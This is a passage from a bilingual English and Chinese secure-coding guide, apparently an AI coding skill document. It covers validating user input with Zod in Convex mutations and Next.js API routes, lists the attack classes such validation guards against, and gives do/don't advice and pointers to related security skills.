    const validation = createItemSchema.safeParse(args);
    if (!validation.success) {
      throw new Error("输入不合法");
    }

    await ctx.db.insert("items", {
      title: validation.data.title,
      description: validation.data.description,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});

Why Convex Validation is Critical

为什么Convex验证至关重要

  1. Frontend validation can be bypassed - Attackers can call Convex mutations directly
  2. Convex functions are your API - Treat them like API routes with full validation
  3. Type-safety alone isn't enough - TypeScript types don't prevent XSS or validate lengths
  4. Defense-in-depth - Even if Next.js API validates, Convex should validate too
  1. 前端验证可以被绕过 - 攻击者可以直接调用Convex mutation
  2. Convex函数就是你的API - 像对待API路由一样对其做完整验证
  3. 仅类型安全是不够的 - TypeScript类型无法防范XSS,也不会验证长度
  4. 深度防御 - 即使Next.js API已经做了验证,Convex也应该再次验证

What Input Validation Prevents

输入验证可以防范的风险

Cross-site scripting (XSS) - Main protection ✅ SQL/NoSQL injection - Length limits + sanitization ✅ Command injection - Removes dangerous characters ✅ Template injection - Sanitizes template syntax ✅ Path traversal - Validates paths, removes ../ ✅ Buffer overflow - Enforces length limits ✅ Type confusion - Enforces correct data types ✅ Business logic errors - Validates ranges, formats
跨站脚本(XSS) - 核心防护能力 ✅ SQL/NoSQL注入 - 长度限制 + 内容清理 ✅ 命令注入 - 移除危险字符 ✅ 模板注入 - 清理模板语法 ✅ 路径遍历 - 验证路径,移除../ ✅ 缓冲区溢出 - 强制长度限制 ✅ 类型混淆 - 强制正确的数据类型 ✅ 业务逻辑错误 - 验证范围、格式

Common Mistakes to Avoid

需要避免的常见错误

DON'T skip validation "because it's an internal API"DON'T rely on client-side validation onlyDON'T use
body.field
directly without validation
DON'T manually sanitize with
.replace()
- use Zod
DON'T assume authentication = safe inputDON'T forget to validate in Convex mutations
DO validate ALL user input, even from authenticated usersDO use pre-built schemas from lib/validation.tsDO return detailed validation errors (helps UX)DO combine validation with rate limiting and CSRFDO validate in both API routes AND Convex mutations
不要因为是内部API就跳过验证不要仅依赖客户端验证不要未经验证直接使用
body.field
不要手动用
.replace()
做清理 - 请使用Zod
不要认为通过身份验证的输入就是安全的不要忘记在Convex mutation中做验证
一定要验证所有用户输入,即便是已认证用户的输入一定要使用lib/validation.ts中的预构建schema一定要返回详细的验证错误(有助于提升UX)一定要将验证和限流、CSRF防护结合使用一定要在API路由和Convex mutation中都做验证

References

参考资料

Next Steps

后续步骤

  • For CSRF protection: Use
    csrf-protection
    skill
  • For rate limiting: Use
    rate-limiting
    skill
  • For secure error handling: Use
    error-handling
    skill
  • For testing validation: Use
    security-testing
    skill
  • CSRF防护: 使用
    csrf-protection
    skill
  • 限流: 使用
    rate-limiting
    skill
  • 安全错误处理: 使用
    error-handling
    skill
  • 验证测试: 使用
    security-testing
    skill